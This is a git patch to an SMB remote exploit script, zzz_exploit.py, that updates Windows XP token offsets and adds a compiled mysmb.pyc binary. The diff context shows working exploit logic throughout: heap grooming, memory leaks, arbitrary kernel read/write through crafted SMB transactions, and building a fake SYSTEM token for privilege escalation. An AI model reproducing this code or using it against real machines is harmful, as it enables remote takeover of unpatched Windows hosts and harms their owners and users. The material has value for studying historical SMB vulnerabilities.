From 078d156a0d6a76590b9073fbb08439031dd1d6e4 Mon Sep 17 00:00:00 2001
From: zerosum0x0 <zerosum0x0@gmail.com>
Date: Mon, 29 Jan 2018 18:32:20 -0700
Subject: [PATCH 1/9] fix offsets on XP SP0 and SP1

---
 mysmb.pyc      | Bin 0 -> 16693 bytes
 zzz_exploit.py | 120 ++++++++++++++++++++++++++-----------------------
 2 files changed, 65 insertions(+), 55 deletions(-)
 create mode 100644 mysmb.pyc

diff --git a/mysmb.pyc b/mysmb.pyc
new file mode 100644
index 0000000000000000000000000000000000000000..c72fbe7fd06d08f3ed4276e128df596f68984605
GIT binary patch
literal 16693
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
L0!J5ziv#})ezMr2

literal 0
HcmV?d00001

diff --git a/zzz_exploit.py b/zzz_exploit.py
index 47b418d..46f8ead 100644
--- a/zzz_exploit.py
+++ b/zzz_exploit.py
@@ -87,7 +87,7 @@ struct SrvSecContext {
 }
 
 SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user.
-It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true. 
+It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true.
 From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,
 PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
 STATUS_SUCCESS when Token is NULL.
@@ -154,6 +154,8 @@ WINXP_32_SESSION_INFO = {
 	'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
 	'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
 	'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
+	'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1': 0x40,
+	'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1': 0x5c
 }
 
 WIN2K_32_SESSION_INFO = {
@@ -285,7 +287,7 @@ def wait_for_request_processed(conn):
 
 def find_named_pipe(conn):
 	pipes = [ 'browser', 'spoolss', 'netlogon', 'lsarpc', 'samr' ]
-	
+
 	tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
 	found_pipe = None
 	for pipe in pipes:
@@ -295,7 +297,7 @@ def find_named_pipe(conn):
 			found_pipe = pipe
 		except smb.SessionError as e:
 			pass
-	
+
 	conn.disconnect_tree(tid)
 	return found_pipe
 
@@ -306,7 +308,7 @@ def reset_extra_mid(conn):
 	global extra_last_mid, special_mid
 	special_mid = (conn.next_mid() & 0xff00) - 0x100
 	extra_last_mid = special_mid
-	
+
 def next_extra_mid():
 	global extra_last_mid
 	extra_last_mid += 1
@@ -322,7 +324,7 @@ def leak_frag_size(conn, tid, fid):
 	# this method can be used on Windows Vista/2008 and later
 	# leak "Frag" pool size and determine target architecture
 	info = {}
-	
+
 	# A "Frag" pool is placed after the large pool allocation if last page has some free space left.
 	# A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version.
 	# To make exploit more generic, exploit does info leak to find a "Frag" pool size.
@@ -330,7 +332,7 @@ def leak_frag_size(conn, tid, fid):
 	mid = conn.next_mid()
 	req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-TRANS_NAME_LEN)
 	req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
-	
+
 	conn.send_raw(req1[:-8])
 	conn.send_raw(req1[-8:]+req2)
 	leakData = conn.recv_transaction_data(mid, 0x10d0+276)
@@ -347,7 +349,7 @@ def leak_frag_size(conn, tid, fid):
 	else:
 		print('Not found Frag pool tag in leak data')
 		sys.exit()
-	
+
 	print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
 	return info
 
@@ -362,7 +364,7 @@ def read_data(conn, info, read_addr, read_size):
 	new_data += pack('<III', read_size, read_size, read_size)  # DataCount, TotalDataCount, MaxDataCount
 	new_data += pack('<HH', 0, 5)  # Category, Function (NT_RENAME)
 	conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
-	
+
 	# create one more transaction before leaking data
 	# - next transaction can be used for arbitrary read/write after the current trans2 is done
 	# - next transaction address is from TransactionListEntry.Flink value
@@ -371,10 +373,10 @@ def read_data(conn, info, read_addr, read_size):
 	# finish the trans2 to leak
 	conn.send_nt_trans_secondary(mid=info['trans2_mid'])
 	read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size)
-	
+
 	# set new trans2 address
 	info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']
-	
+
 	# set trans1.InData to &trans2
 	conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])
 	wait_for_request_processed(conn)
@@ -382,14 +384,14 @@ def read_data(conn, info, read_addr, read_size):
 	# modify trans2 mid
 	conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
 	wait_for_request_processed(conn)
-	
+
 	return read_data[8:]  # no need to return parameter
 
 def write_data(conn, info, write_addr, write_data):
 	# trans2.InData
 	conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
 	wait_for_request_processed(conn)
-	
+
 	# write data
 	conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
 	wait_for_request_processed(conn)
@@ -415,7 +417,7 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
 
 	conn.send_raw(req1[:-8])
 	conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
-	
+
 	# expected transactions alignment ("Frag" pool is not shown)
 	#
 	#    |         5 * PAGE_SIZE         |   PAGE_SIZE    |         5 * PAGE_SIZE         |   PAGE_SIZE    |
@@ -436,7 +438,7 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
 	if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag':
 		print('Not found Frag pool tag in leak data')
 		return None
-	
+
 	# ================================
 	# verify leak data
 	# ================================
@@ -478,16 +480,16 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
 
 def exploit_matched_pairs(conn, pipe_name, info):
 	# for Windows 7/2008 R2 and later
-	
+
 	tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
 	conn.set_default_tid(tid)
 	# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
 	fid = conn.nt_create_andx(tid, pipe_name)
-	
+
 	info.update(leak_frag_size(conn, tid, fid))
 	# add os and arch specific exploit info
 	info.update(OS_ARCH_INFO[info['os']][info['arch']])
-	
+
 	# groom: srv buffer header
 	info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
 	print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
@@ -500,7 +502,7 @@ def exploit_matched_pairs(conn, pipe_name, info):
 	print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
 	# bride paramters and data is alignment by 4 because it is TRANS
 	info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE']
-	
+
 	# ================================
 	# try align pagedpool and leak info until satisfy
 	# ================================
@@ -514,14 +516,14 @@ def exploit_matched_pairs(conn, pipe_name, info):
 		print('leak failed... try again')
 		conn.close(tid, fid)
 		conn.disconnect_tree(tid)
-		
+
 		tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
 		conn.set_default_tid(tid)
 		fid = conn.nt_create_andx(tid, pipe_name)
 
 	if leakInfo is None:
 		return False
-	
+
 	info['fid'] = fid
 	info.update(leakInfo)
 
@@ -553,7 +555,7 @@ def exploit_matched_pairs(conn, pipe_name, info):
 	# NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly
 	# but this method make the transation never get freed
 	# I will avoid memory leak
-	
+
 	# ================================
 	# modify trans1 struct to be used for arbitrary read/write
 	# ================================
@@ -576,7 +578,7 @@ def exploit_matched_pairs(conn, pipe_name, info):
 
 def exploit_fish_barrel(conn, pipe_name, info):
 	# for Windows Vista/2008 and earlier
-	
+
 	tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
 	conn.set_default_tid(tid)
 	# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
@@ -586,7 +588,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
 	if info['os'] == 'WIN7' and 'arch' not in info:
 		# leak_frag_size() can be used against Windows Vista/2008 to determine target architecture
 		info.update(leak_frag_size(conn, tid, fid))
-	
+
 	if 'arch' in info:
 		# add os and arch specific exploit info
 		info.update(OS_ARCH_INFO[info['os']][info['arch']])
@@ -596,7 +598,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
 		# this case is only for Windows 2003
 		# try offset of 64 bit then 32 bit because no target architecture
 		attempt_list = [ OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86'] ]
-	
+
 	# ================================
 	# groom packets
 	# ================================
@@ -606,8 +608,8 @@ def exploit_fish_barrel(conn, pipe_name, info):
 	trans_param = pack('<HH', info['fid'], 0)
 	for i in range(12):
 		mid = info['fid'] if i == 8 else next_extra_mid()
-		conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)	
-	
+		conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)
+
 	# expected transactions alignment
 	#
 	#    +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
@@ -620,7 +622,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
 	# ================================
 	shift_indata_byte = 0x200
 	conn.do_write_andx_raw_pipe(info['fid'], 'A'*shift_indata_byte)
-	
+
 	# ================================
 	# Dangerous operation: attempt to control one transaction
 	# ================================
@@ -648,7 +650,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
 			break
 		if recvPkt.getNTStatus() != 0:
 			print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
-	
+
 	if not success:
 		print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
 		print('!!! Write to wrong place !!!')
@@ -659,8 +661,8 @@ def exploit_fish_barrel(conn, pipe_name, info):
 	# NSA eternalromance modify transaction RefCount to keep controlled and reuse transaction after leaking info.
 	# This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder
 	#   because of this unfreed memory chunk. I will avoid it.
-	
-	# From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two 
+
+	# From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two
 	# transactions (do not know the address).
 	# After reading memory by modifying and completing trans2, trans2 cannot be used anymore.
 	# To be able to use trans1 after trans2 is gone, we need to modify trans1 to be able to modify itself.
@@ -669,14 +671,14 @@ def exploit_fish_barrel(conn, pipe_name, info):
 	# On 64 bit target, modifying paramter count is not enough because address size is 64 bit. Because our transactions
 	#   are allocated with RtlAllocateHeap(), the HIDWORD of InParameter is always 0. To be able to write backward with offset only,
 	#   we also modify HIDWORD of InParameter to 0xffffffff.
-	
+
 	print('modify parameter count to 0xffffffff to be able to write backward')
 	conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
 	# on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too
 	if info['arch'] == 'x64':
 		conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
 	wait_for_request_processed(conn)
-	
+
 	TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 0x1000 + HEAP_CHUNK_PAD_SIZE
 	PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN
 	PREV_TRANS_OFFSET = 0x100000000 - PREV_TRANS_DISPLACEMENT
@@ -716,18 +718,18 @@ def exploit_fish_barrel(conn, pipe_name, info):
 	_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+fmt*5, leakTrans, 8)
 	inparam_value, outparam_value, indata_value = unpack_from('<'+fmt*3, leakTrans, info['TRANS_INPARAM_OFFSET'])
 	trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
-	
+
 	print('CONNECTION: 0x{:x}'.format(connection_addr))
 	print('SESSION: 0x{:x}'.format(session_addr))
 	print('FLINK: 0x{:x}'.format(flink_value))
 	print('InData: 0x{:x}'.format(indata_value))
 	print('MID: 0x{:x}'.format(trans2_mid))
-	
+
 	trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN
 	trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
 	print('TRANS1: 0x{:x}'.format(trans1_addr))
 	print('TRANS2: 0x{:x}'.format(trans2_addr))
-	
+
 	# ================================
 	# modify trans struct to be used for arbitrary read/write
 	# ================================
@@ -739,12 +741,12 @@ def exploit_fish_barrel(conn, pipe_name, info):
 	TRANS_OFFSET = 0x100000000 - (info['TRANS_SIZE'] + TRANS_NAME_LEN)
 	conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr), paramDisplacement=TRANS_OFFSET+info['TRANS_INPARAM_OFFSET'])
 	wait_for_request_processed(conn)
-	
+
 	# modify trans1.mid
 	trans1_mid = conn.next_mid()
 	conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET'])
 	wait_for_request_processed(conn)
-	
+
 	info.update({
 		'connection': connection_addr,
 		'session': session_addr,
@@ -766,26 +768,26 @@ def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroup
 	# - 0xe: SE_GROUP_OWNER | SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT
 	# - 0x7: SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY
 	attrs = [ 0, 0xe, 7, 7 ]
-	
+
 	# assume its space is enough for SID_SYSTEM and SID_ADMINISTRATORS (no check)
 	# fake user and groups will be in same buffer of original one
 	# so fake sids size must NOT be bigger than the original sids
 	fakeUserAndGroupCount = min(userAndGroupCount, 4)
 	fakeUserAndGroupsAddr = userAndGroupsAddr
-	
+
 	addr = fakeUserAndGroupsAddr + (fakeUserAndGroupCount * info['PTR_SIZE'] * 2)
 	fakeUserAndGroups = ''
